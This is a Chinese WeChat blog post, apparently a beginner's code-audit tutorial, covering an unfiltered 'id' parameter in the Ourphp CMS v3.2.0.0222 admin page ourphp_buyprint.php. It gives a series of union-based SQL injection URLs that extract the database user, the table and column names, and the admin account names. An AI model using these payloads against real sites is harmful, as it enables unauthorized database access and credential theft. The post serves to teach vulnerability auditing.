本篇是完整的一套源码审计过程,一步一步的来进行简单的审计漏洞并利用,只适用于初学者。怎么寻找危险函数请参考各大工具,本篇只是教程,漏洞现网并未爆出,请不要恶意利用,后果自负。
1、描述
Ourphp是一款基于PHP MySQL开发符合W3C标准的建站系统
2、影响范围
v3.2.0.0222
3、漏洞复现
开源项目,直接下载源码
http://down.chinaz.com/soft/36822.htm
先来分析这个文件:
client/manage/ourphp_buyprint.php
这个文件需要在登陆后台情况下才能访问
分析:
我们可以看到有个变量”id“,然后我们继续跟进拿到这个id变量的参数”listgo“,看是否内容可控,并且有没有过滤条件。
有两个~,先来第一个
可以看到没有任何的过滤!!并且是直接将变量$o、$u、$r拼接进入sql语句的,然后赋值给$Query,再return返回变量$Query给listgo。
然后我们再返回去看一眼是否有回显:
可以看到是有的~
然后我们来复现一下:
先构造一下语句
http://ourphp.local/client/manage/ourphp_buyprint.php?id=1)%20union%20select%201,2,3,4,5,6,7,8,9,10%23&type=min
看到左侧的回显点了,我们注入查看一下用户:
http://ourphp.local/client/manage/ourphp_buyprint.php?id=1)%20union%20select%201,2,3,4,5,(user()),7,8,9,10%23&type=min
再查看当前库的所有表:
http://ourphp.local/client/manage/ourphp_buyprint.php?id=1)%20union%20select%201,2,3,4,5,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),7,8,9,10%23&type=min
再来查询一个指定表的所有字段:
http://ourphp.local/client/manage/ourphp_buyprint.php?id=1)%20union%20select%201,2,3,4,5,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27ourphp_admin%27),7,8,9,10%23&type=min
最后再来查看下指定表内指定字段的内容:
http://ourphp.local/client/manage/ourphp_buyprint.php?id=1)%20union%20select%201,2,3,4,5,(select%20group_concat(OP_Adminname)%20from%20ouphp.ourphp_admin),7,8,9,10%23&type=min
好了,第一个漏洞就这样结束了。
今天接了一个不好的广告,但是所有的广告费都给群友发了红包,以后不再接与安全无关的广告了,还请大家见谅。
愧疚使然,随机抽5个粉丝获取文库的访问授权吧,因为政府监管原因,文库在持续更新,但暂时还不能公开,仅限5个人访问,并且要保证不泄露任何内容,还请谅解,不接受任何形式的索要,耐心等待隐匿后的文库上线,谢谢了。
本次抽奖全凭运气,无任何助力,也不需要转发。
中奖后请把自定义的账号密码(不能弱口令)私聊发送给我,进行授权。
扫取二维码获取
更多精彩
Qingy之安全
点个在看你最好看
本文始发于微信公众号(Qingy之安全):【文末抽奖】Ourphp建站系统整套源码审计过程(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论